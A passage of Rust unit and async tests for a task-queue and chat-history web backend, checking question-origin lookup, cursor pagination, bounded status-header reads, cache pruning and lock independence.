24559                q.node,
24560                q.run
24561            );
24562            assert_eq!(origin.origin_chat.as_deref(), expected);
24563            assert_eq!(view.origin_chat_closed, *associated);
24564            assert_eq!(origin.origin_chat_closed, *associated);
24565            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24566            assert_eq!(origin.can_consult_chat, *eligible);
24567        }
24568        // Either saved link independently recovers a release question's owner.
24569        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24570            let link = crate::release_watch::WatchState {
24571                run,
24572                held_task,
24573                ..watch.clone()
24574            };
24575            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24576            let (tasks, talks, watches) =
24577                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24578            assert_eq!(
24579                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24580                    .unwrap()
24581                    .id,
24582                chat,
24583            );
24584            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24585        }
24586        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24587        // Even identical duplicate records are ambiguous: ignore their links.
24588        let duplicate_path = watch_dir.join("duplicate.json");
24589        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24590        let (tasks, talks, watches) =
24591            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24592        assert!(
24593            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24594                .is_none()
24595        );
24596        std::fs::remove_file(duplicate_path).unwrap();
24597        // Another explicit owner is a conflict even if it has no chat.
24598        let mut unrelated = Task::new(
24599            "other".into(),
24600            String::new(),
24601            PathBuf::from("/repo"),
24602            Source::Human,
24603        );
24604        unrelated.id = "unrelated-task".into();
24605        ui.queue.put(&mut unrelated).unwrap();
24606        let mut conflicting = watch.clone();
24607        conflicting.held_task = Some(unrelated.id);
24608        std::fs::write(
24609            watch_dir.join("conflict.json"),
24610            serde_json::to_vec(&conflicting).unwrap(),
24611        )
24612        .unwrap();
24613        let (tasks, talks, watches) =
24614            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24615        assert!(
24616            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24617                .is_none()
24618        );
24619        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24620        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24621        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24622            assert!(origin.origin_chat.is_none());
24623            assert!(!origin.origin_chat_closed);
24624        }
24625    }
24626
24627    #[test]
24628    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24629        let home = tempfile::tempdir().unwrap();
24630        let ui = delta_test_ui(home.path());
24631        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24632        for i in 0..1000 {
24633            let mut task = Task::new(
24634                "unrelated".into(),
24635                "instruction ".repeat(256),
24636                PathBuf::from("/repo"),
24637                Source::Human,
24638            );
24639            task.id = format!("history-{i:04}");
24640            ui.queue.put(&mut task).unwrap();
24641            let id = seed_talk_at(&ui.talks, &task.id, "open");
24642            let mut talk = ui.talks.get(&id).unwrap();
24643            talk.pending = "history ".repeat(256);
24644            ui.talks.put(&mut talk).unwrap();
24645        }
24646        let mut parent = Task::new(
24647            "parent".into(),
24648            "body".into(),
24649            PathBuf::from("/repo"),
24650            Source::Agent {
24651                run: chat_id.clone(),
24652                node: crate::queue::CHAT_NODE.into(),
24653            },
24654        );
24655        parent.id = "task-parent".into();
24656        parent.runs = vec!["run-parent".into()];
24657        ui.queue.put(&mut parent).unwrap();
24658        let mut child = Task::new(
24659            "child".into(),
24660            "body".into(),
24661            PathBuf::from("/repo"),
24662            Source::Human,
24663        );
24664        child.id = "task-child".into();
24665        child.runs = vec!["run-child".into()];
24666        child.followup = Some(crate::queue::FollowUp {
24667            run: "run-parent".into(),
24668            origin_task: Some(parent.id.clone()),
24669            pr: "https://example.invalid/pr/1".into(),
24670            findings: vec![],
24671            generation: 1,
24672        });
24673        ui.queue.put(&mut child).unwrap();
24674        let mut question = Question::new(
24675            child.id.clone(),
24676            crate::conduct::NODE.into(),
24677            "seat".into(),
24678            "Continue?".into(),
24679            String::new(),
24680            vec![],
24681        );
24682        let (tasks, talks, _watches) =
24683            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24684        assert_eq!(tasks.len(), 2);
24685        assert_eq!(talks.len(), 1);
24686        assert_eq!(
24687            ui.monitor.queue_index.lock().unwrap().reparsed,
24688            0,
24689            "exact ancestry bypasses the index"
24690        );
24691        assert_eq!(
24692            crate::consult::origin_talk(&tasks, &talks, &question)
24693                .unwrap()
24694                .id,
24695            chat_id
24696        );
24697        question.run = "run-child".into();
24698        question.node = "review".into();
24699        for origin_task in [Some(parent.id.clone()), None] {
24700            child.followup.as_mut().unwrap().origin_task = origin_task;
24701            ui.queue.put(&mut child).unwrap();
24702            let (tasks, talks, _watches) =
24703                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24704            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24705            let expected =
24706                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24707                    .unwrap();
24708            assert_eq!(actual.id, expected.id);
24709            assert!(!actual.status.open());
24710            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24711            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24712            // Without Unix file identity, every readable record must be
24713            // reparsed to detect same-size, same-mtime replacements safely.
24714            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24715            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24716        }
24717        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24718        ui.queue.put(&mut child).unwrap();
24719        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24720        let (tasks, talks, _watches) =
24721            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24722        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24723        child.origin_chat = Some(chat_id.clone());
24724        ui.queue.put(&mut child).unwrap();
24725        let (tasks, talks, _watches) =
24726            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24727        assert_eq!(
24728            crate::consult::origin_talk(&tasks, &talks, &question)
24729                .unwrap()
24730                .id,
24731            chat_id
24732        );
24733        let revision = question_record_revision(&question);
24734        question.abandon("settled elsewhere");
24735        assert_ne!(revision, question_record_revision(&question));
24736        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24737        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24738        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24739        let (tasks, talks, _watches) =
24740            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24741        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24742    }
24743
24744    #[test]
24745    fn list_cursors_freeze_membership_and_expire_explicitly() {
24746        let home = tempfile::tempdir().unwrap();
24747        let ui = delta_test_ui(home.path());
24748        std::fs::create_dir_all(ui.queue.root()).unwrap();
24749        for i in 0..40 {
24750            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24751        }
24752        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24753        assert_eq!(first.len(), STORE_PAGE_SIZE);
24754        let cursor = cursor.unwrap();
24755        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24756        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24757        let (second, _) = page_ids(
24758            &ui,
24759            false,
24760            PageQuery {
24761                before: Some(cursor.clone()),
24762            },
24763        )
24764        .unwrap();
24765        assert_eq!(second[0], "record-0023");
24766        assert!(second.iter().all(|id| !first.contains(id)));
24767        assert!(
24768            page_ids(
24769                &ui,
24770                true,
24771                PageQuery {
24772                    before: Some(cursor.clone())
24773                }
24774            )
24775            .is_err()
24776        );
24777        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24778        assert_eq!(fresh[0], "record-9999");
24779        ui.monitor.list_walks.lock().unwrap().clear();
24780        assert!(
24781            page_ids(
24782                &ui,
24783                false,
24784                PageQuery {
24785                    before: Some(cursor)
24786                }
24787            )
24788            .is_err()
24789        );
24790    }
24791
24792    #[tokio::test]
24793    async fn talk_pages_load_every_open_then_frozen_closed_history() {
24794        let home = tempfile::tempdir().unwrap();
24795        let ui = delta_test_ui(home.path());
24796        // Every closed conversation is newer by ID than every open conversation.
24797        for i in 0..23 {
24798            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
24799        }
24800        for i in 0..45 {
24801            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
24802        }
24803        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
24804        let first = talks_page(
24805            State(ui.clone()),
24806            Query(PageQuery::default()),
24807            header::HeaderMap::new(),
24808        )
24809        .await
24810        .unwrap()
24811        .0;
24812        assert_eq!(
24813            first.rows.iter().filter(|row| row.status.open()).count(),
24814            23
24815        );
24816        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
24817        assert!(first.rows[..23].iter().all(|row| row.status.open()));
24818        let parsed = ui
24819            .monitor
24820            .talk_parses
24821            .load(std::sync::atomic::Ordering::Relaxed);
24822        assert_eq!(
24823            parsed,
24824            first.rows.len(),
24825            "closed bodies outside this page are not restored"
24826        );
24827        let fresh = talks_page(
24828            State(ui.clone()),
24829            Query(PageQuery::default()),
24830            header::HeaderMap::new(),
24831        )
24832        .await
24833        .unwrap()
24834        .0;
24835        assert_eq!(fresh.rows.len(), first.rows.len());
24836        assert_eq!(
24837            ui.monitor
24838                .talk_parses
24839                .load(std::sync::atomic::Ordering::Relaxed),
24840            parsed
24841        );
24842        let mut seen: std::collections::HashSet<_> =
24843            first.rows.iter().map(|row| row.id.clone()).collect();
24844        // Status changes keep their original membership position until refresh.
24845        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
24846        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
24847        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
24848        let mut next = first.next;
24849        while let Some(cursor) = next {
24850            let page = talks_page(
24851                State(ui.clone()),
24852                Query(PageQuery {
24853                    before: Some(cursor),
24854                }),
24855                header::HeaderMap::new(),
24856            )
24857            .await
24858            .unwrap()
24859            .0;
24860            assert!(page.rows.len() <= STORE_PAGE_SIZE);
24861            for row in page.rows {
24862                assert!(seen.insert(row.id), "a cursor must not repeat membership");
24863            }
24864            next = page.next;
24865        }
24866        let expected: HashSet<_> = (0..23)
24867            .map(|i| format!("20260101-000000-{i:03}"))
24868            .chain(
24869                (0..45)
24870                    .filter(|i| *i != 1)
24871                    .map(|i| format!("20261019-000000-{i:03}")),
24872            )
24873            .collect();
24874        assert_eq!(
24875            seen, expected,
24876            "the cursor walk must return every surviving ID"
24877        );
24878        let refreshed = talks_page(
24879            State(ui.clone()),
24880            Query(PageQuery::default()),
24881            header::HeaderMap::new(),
24882        )
24883        .await
24884        .unwrap()
24885        .0;
24886        assert_eq!(
24887            refreshed
24888                .rows
24889                .iter()
24890                .filter(|row| row.status.open())
24891                .count(),
24892            23
24893        );
24894        assert!(
24895            refreshed
24896                .rows
24897                .iter()
24898                .any(|row| row.id == "20261019-000000-000")
24899        );
24900        assert!(
24901            !refreshed
24902                .rows
24903                .iter()
24904                .any(|row| row.id == "20260101-000000-000")
24905        );
24906    }
24907
24908    #[test]
24909    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
24910        let home = tempfile::tempdir().unwrap();
24911        let ui = delta_test_ui(home.path());
24912        for i in 0..STORE_PAGE_SIZE + 5 {
24913            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
24914        }
24915        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
24916        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
24917        assert!(next.is_none());
24918    }
24919
24920    #[test]
24921    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
24922        struct Counted<R> {
24923            inner: R,
24924            bytes: usize,
24925        }
24926        impl<R: std::io::Read> std::io::Read for Counted<R> {
24927            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
24928                let n = self.inner.read(buf)?;
24929                self.bytes += n;
24930                Ok(n)
24931            }
24932        }
24933        let home = tempfile::tempdir().unwrap();
24934        let ui = delta_test_ui(home.path());
24935        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
24936        let mut chat = ui.talks.get(&id).unwrap();
24937        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
24938            chat.turns = vec![
24939                serde_json::from_value(serde_json::json!({
24940                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
24941                }))
24942                .unwrap(),
24943            ];
24944            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
24945                chat.status = status;
24946                // Exercise the actual on-disk serializer, including its field order.
24947                let body = serde_json::to_vec_pretty(&chat).unwrap();
24948                let mut reader = Counted {
24949                    inner: body.as_slice(),
24950                    bytes: 0,
24951                };
24952                assert_eq!(read_talk_status(&mut reader), Some(status));
24953                assert!(
24954                    reader.bytes <= 1024,
24955                    "header classification read {} bytes",
24956                    reader.bytes
24957                );
24958            }
24959        }
24960        // Noncanonical field order must neither traverse a transcript nor hide
24961        // an open row. Its real status is validated by the ordinary row reader.
24962        let noncanonical = format!(
24963            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
24964            "x".repeat(1024 * 1024)
24965        );
24966        let mut reader = Counted {
24967            inner: noncanonical.as_bytes(),
24968            bytes: 0,
24969        };
24970        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
24971        assert!(reader.bytes <= 1024);
24972        let oversized = format!(
24973            r#"{{"agent":"{}","status":"open"}}"#,
24974            "x".repeat(128 * 1024)
24975        );
24976        let mut reader = Counted {
24977            inner: oversized.as_bytes(),
24978            bytes: 0,
24979        };
24980        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
24981        assert!(reader.bytes <= 64 * 1024);
24982    }
24983
24984    #[test]
24985    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
24986        let home = tempfile::tempdir().unwrap();
24987        let ui = delta_test_ui(home.path());
24988        seed_talk_at(&ui.talks, "header-chat", "open");
24989        std::fs::create_dir_all(ui.queue.root()).unwrap();
24990        let (started, ready) = std::sync::mpsc::channel();
24991        let (release, wait) = std::sync::mpsc::channel();
24992        let chat_ui = ui.clone();
24993        let scan = std::thread::spawn(move || {
24994            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
24995                started.send(()).unwrap();
24996                wait.recv().unwrap();
24997                open_talk_ids(ui, ids)
24998            })
24999            .unwrap()
25000        });
25001        ready.recv_timeout(Duration::from_secs(2)).unwrap();
25002        let (finished, result) = std::sync::mpsc::channel();
25003        let queue = std::thread::spawn(move || {
25004            finished
25005                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25006                .unwrap();
25007        });
25008        let completed = result.recv_timeout(Duration::from_secs(2));
25009        // Release and join both workers even if the regression returns.
25010        release.send(()).unwrap();
25011        scan.join().unwrap();
25012        queue.join().unwrap();
25013        assert!(
25014            completed.unwrap(),
25015            "queue paging must not wait for chat header I/O"
25016        );
25017    }
25018
25019    #[test]
25020    fn talk_status_projection_does_not_cache_files_changed_during_read() {
25021        let home = tempfile::tempdir().unwrap();
25022        let ui = delta_test_ui(home.path());
25023        let ids = vec!["changing-chat".to_owned()];
25024        seed_talk_at(&ui.talks, &ids[0], "closed");
25025        assert!(open_talk_ids(&ui, &ids).is_empty());
25026        seed_talk_at(&ui.talks, &ids[0], "open");
25027        let open = open_talk_ids_with(&ui, &ids, |path| {
25028            let value: serde_json::Value =
25029                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25030            // Replace the file after parsing, before its identity is checked again.
25031            seed_talk_at(&ui.talks, &ids[0], "closed");
25032            serde_json::from_value(value["status"].clone()).ok()
25033        });
25034        assert!(open.contains(&ids[0]));
25035        assert!(
25036            ui.monitor
25037                .talk_status_index
25038                .lock()
25039                .unwrap()
25040                .records
25041                .is_empty()
25042        );
25043        assert!(open_talk_ids(&ui, &ids).is_empty());
25044        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25045    }
25046
25047    #[test]
25048    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
25049        let home = tempfile::tempdir().unwrap();
25050        let ui = delta_test_ui(home.path());
25051        let headers = header::HeaderMap::new();
25052        seed_talk_at(&ui.talks, "open-chat", "open");
25053        seed_talk_at(&ui.talks, "closed-chat", "closed");
25054        talk_rows(
25055            &ui,
25056            vec!["open-chat".into(), "closed-chat".into()],
25057            &headers,
25058        );
25059        {
25060            let mut index = ui.monitor.talk_index.lock().unwrap();
25061            let closed = index["closed-chat"].1.clone();
25062            for i in 0..1000 {
25063                index.insert(
25064                    format!("cached-closed-{i}"),
25065                    (
25066                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
25067                        closed.clone(),
25068                    ),
25069                );
25070            }
25071        }
25072        assert_eq!(
25073            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25074            1
25075        );
25076        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25077        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25078        assert_eq!(
25079            ui.monitor
25080                .talk_parses
25081                .load(std::sync::atomic::Ordering::Relaxed),
25082            2
25083        );
25084        {
25085            let mut index = ui.monitor.talk_index.lock().unwrap();
25086            let open = index["open-chat"].1.clone();
25087            for i in 0..1000 {
25088                index.insert(
25089                    format!("cached-open-{i}"),
25090                    (
25091                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25092                        open.clone(),
25093                    ),
25094                );
25095            }
25096        }
25097        // Even when open rows exceed the bound, keep the currently requested rows.
25098        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25099        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25100        assert_eq!(
25101            ui.monitor
25102                .talk_parses
25103                .load(std::sync::atomic::Ordering::Relaxed),
25104            2
25105        );
25106    }
25107
25108    #[test]
25109    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25110        let home = tempfile::tempdir().unwrap();
25111        let ui = delta_test_ui(home.path());
25112        std::fs::create_dir_all(ui.talks.root()).unwrap();
25113        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25114        for id in &ids {
25115            std::fs::write(
25116                ui.talks.path_of(id),
25117                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25118            )
25119            .unwrap();
25120        }
25121        assert!(open_talk_ids(&ui, &ids).is_empty());
25122        assert_eq!(
25123            ui.monitor.talk_status_index.lock().unwrap().parses,
25124            ids.len()
25125        );
25126        assert!(open_talk_ids(&ui, &ids).is_empty());
25127        assert_eq!(
25128            ui.monitor.talk_status_index.lock().unwrap().parses,
25129            ids.len()
25130        );
25131        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25132        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25133        assert_eq!(
25134            open_talk_ids(&ui, &ids),
25135            std::collections::HashSet::from([ids[0].clone()])
25136        );
25137        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25138        assert_eq!(parsed, ids.len() + 2);
25139        open_talk_ids(&ui, &ids);
25140        assert_eq!(
25141            ui.monitor.talk_status_index.lock().unwrap().parses,
25142            parsed,
25143            "unreadable rows are cached too"
25144        );
25145        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25146        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25147        assert!(
25148            !ui.monitor
25149                .talk_status_index
25150                .lock()
25151                .unwrap()
25152                .records
25153                .contains_key(&ids[0])
25154        );
25155        assert!(
25156            ui.monitor.talk_index.lock().unwrap().is_empty(),
25157            "classification never caches bodies"
25158        );
25159    }
25160
25161    #[tokio::test]
25162    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25163        let home = tempfile::tempdir().unwrap();
25164        let ui = delta_test_ui(home.path());
25165        let mut task = Task::new(
25166            "task".into(),
25167            "body".into(),
25168            PathBuf::from("/repo"),
25169            Source::Human,
25170        );
25171        ui.queue.put(&mut task).unwrap();
25172        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25173        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25174        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25175        let expected = parsed + usize::from(!cfg!(unix));
25176        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25177        task.status = crate::queue::TaskStatus::Held;
25178        ui.queue.put(&mut task).unwrap();
25179        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25180        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25181        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
25182        ui.queue.put(&mut task).unwrap();
25183        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25184        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25185        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25186    }
25187
25188    #[tokio::test]
25189    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25190        let home = tempfile::tempdir().unwrap();
25191        let ui = delta_test_ui(home.path());
25192        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25193        let before = health(State(ui.clone())).await.unwrap().0;
25194        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
25195        let after = health(State(ui)).await.unwrap().0;
25196        assert_ne!(before.notifications_rev, after.notifications_rev);
25197        assert_eq!(after.notifications_unread, 1);
25198    }
25199
25200    #[tokio::test]
25201    async fn list_pages_bound_history_and_keep_dependency_evidence() {
25202        let home = tempfile::tempdir().unwrap();
25203        let ui = delta_test_ui(home.path());
25204        let queue = &ui.queue;
25205        let talks = &ui.talks;
25206        for i in 0..1000 {
25207            let id = format!("20261019-{i:06}-page");
25208            let mut task = Task::new(
25209                "task".into(),
25210                "instruction".repeat(100),
25211                PathBuf::from("/repo/magi"),
25212                Source::Human,
25213            );
25214            task.id = id.clone();
25215            if i == 0 {
25216                task.status = crate::queue::TaskStatus::Held;
25217            } else if i == 999 {
25218                task.status = crate::queue::TaskStatus::Blocked;
25219                task.blocked_by = vec!["20261019-000000-page".into()];
25220            }
25221            queue.put(&mut task).unwrap();
25222            seed_talk_at(talks, &id, "closed");
25223        }
25224        let page = serde_json::to_value(
25225            queue_page(State(ui.clone()), Query(PageQuery::default()))
25226                .await
25227                .unwrap()
25228                .0,
25229        )
25230        .unwrap();
25231        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25232        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
25233        assert!(
25234            !page["rows"][0]["stuck_roots"]
25235                .as_array()
25236                .unwrap()
25237                .is_empty()
25238        );
25239        let cursor = page["next"].as_str().unwrap();
25240        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
25241            .as_str()
25242            .unwrap();
25243        // Deleting an already enumerated file cannot shift or repeat a page.
25244        std::fs::remove_file(queue.path_of(last_id)).unwrap();
25245        let next = serde_json::to_value(
25246            queue_page(
25247                State(ui.clone()),
25248                Query(PageQuery {
25249                    before: Some(cursor.into()),
25250                }),
25251            )
25252            .await
25253            .unwrap()
25254            .0,
25255        )
25256        .unwrap();
25257        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25258        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
25259        let chats = serde_json::to_value(
25260            talks_page(
25261                State(ui.clone()),
25262                Query(PageQuery::default()),
25263                header::HeaderMap::new(),
25264            )
25265            .await
25266            .unwrap()
25267            .0,
25268        )
25269        .unwrap();
25270        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25271        assert!(chats["rows"][0].get("pending").is_none());
25272        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
25273        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
25274        assert_eq!(counts["held"], 1);
25275        assert_eq!(counts["blocked"], 1);
25276        assert_eq!(counts["queued"], 997);
25277    }
25278
25279    #[test]
25280    fn queue_index_observes_external_replacement_deletion_and_corruption() {
25281        let dir = tempfile::tempdir().unwrap();
25282        let ui = delta_test_ui(dir.path());
25283        let mut task = Task::new(
25284            "task".into(),
25285            "body".into(),
25286            PathBuf::from("/repo"),
25287            Source::Human,
25288        );
25289        task.runs = vec!["run-a".into()];
25290        ui.queue.put(&mut task).unwrap();
25291        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
25292        task.runs = vec!["run-b".into()];
25293        let path = ui.queue.path_of(&task.id);
25294        let modified = path.metadata().unwrap().modified().unwrap();
25295        let replacement = path.with_extension("replacement");
25296        let bytes = serde_json::to_vec_pretty(&task).unwrap();
25297        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
25298        std::fs::write(&replacement, &bytes).unwrap();
25299        std::fs::File::options()
25300            .write(true)
25301            .open(&replacement)
25302            .unwrap()
25303            .set_times(std::fs::FileTimes::new().set_modified(modified))
25304            .unwrap();
25305        std::fs::rename(&replacement, &path).unwrap();
25306        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
25307        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25308        std::fs::write(&path, "broken").unwrap();
25309        assert!(ui.find_task_for_run("run-b").is_err());
25310        std::fs::write(&path, bytes).unwrap();
25311        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25312        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25313        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
25314    }
25315
25316    #[tokio::test]
25317    async fn conversation_core_is_independent_of_unreadable_related_history() {
25318        let home = tempfile::tempdir().unwrap();
25319        let ui = delta_test_ui(home.path());
25320        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25321        std::fs::create_dir_all(ui.queue.root()).unwrap();
25322        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
25323        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
25324            .await
25325            .unwrap();
25326        assert_eq!(core.talk.id, id);
25327        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
25328    }
25329
25330    #[test]
25331    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
25332        let home = tempfile::tempdir().unwrap();
25333        let ui = delta_test_ui(home.path());
25334        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25335        let directory = home.path().join("workers/jobs/abcdef");
25336        std::fs::create_dir_all(&directory).unwrap();
25337        let job = crate::worker::Job {
25338            id: "abcdef".into(),
25339            sequence: 1,
25340            kind: "chat".into(),
25341            key: id.clone(),
25342            payload: serde_json::json!({ "talk": id }),
25343            generation: "test".into(),
25344            version: None,
25345            status: crate::worker::Status::Running,
25346            result: None,
25347            pid: None,
25348            created_at: 0,
25349            finished_at: None,
25350        };
25351        std::fs::write(
25352            directory.join("job.json"),
25353            serde_json::to_vec(&job).unwrap(),
25354        )
25355        .unwrap();
25356        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
25357        let store =
25358            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
25359        let runtime = tokio::runtime::Builder::new_current_thread()
25360            .enable_all()
25361            .max_blocking_threads(1)
25362            .build()
25363            .unwrap();
25364        runtime.block_on(async {
25365            let (release, held) = std::sync::mpsc::channel();
25366            let (started, ready) = tokio::sync::oneshot::channel();
25367            let occupied = tokio::task::spawn_blocking(move || {
25368                started.send(()).unwrap();
25369                held.recv().unwrap();
25370            });
25371            ready.await.unwrap();
25372            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
25373            let bulk = ui
25374                .monitor
25375                .bulk_slots
25376                .clone()
25377                .acquire_many_owned(2)
25378                .await
25379                .unwrap();
25380            let result = tokio::time::timeout(
25381                Duration::from_secs(2),
25382                talk_core(State(ui.clone()), Path(id.clone())),
25383            )
25384            .await;
25385            // Release all blockers before assertions, including on a regression.
25386            drop(store);
25387            drop(bulk);
25388            release.send(()).unwrap();
25389            occupied.await.unwrap();
25390            let _ = secondary.await.unwrap().unwrap();
25391            let Json(core) = result
25392                .expect("transcript must bypass secondary work and the worker store lock")
25393                .unwrap();
25394            assert!(
25395                core.thinking,
25396                "read-only observation retains live worker state"
25397            );
25398            assert_eq!(core.talk.id, id);
25399            let admission_ui = ui.clone();
25400            let (release, held) = std::sync::mpsc::channel();
25401            let (started, ready) = tokio::sync::oneshot::channel();
25402            let admission = std::thread::spawn(move || {
25403                let _lock = admission_ui.talk_turns.lock().unwrap();
25404                started.send(()).unwrap();
25405                held.recv().unwrap();
25406            });
25407            ready.await.unwrap();
25408            let result = tokio::time::timeout(
25409                Duration::from_secs(2),
25410                talk_core(State(ui.clone()), Path(id.clone())),
25411            )
25412            .await;
25413            release.send(()).unwrap();
25414            admission.join().unwrap();
25415            assert!(
25416                result
25417                    .expect("display must not wait behind local admission")
25418                    .unwrap()
25419                    .0
25420                    .thinking
25421            );
25422            assert!(ui.is_thinking(&id));
25423            assert!(ui.is_thinking_observed(&id));
25424            drop(live);
25425            assert!(
25426                !ui.is_thinking_observed(&id),
25427                "a finished lease no longer appears live"
25428            );
25429            assert!(!ui.is_thinking(&id));
25430            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
25431            assert!(
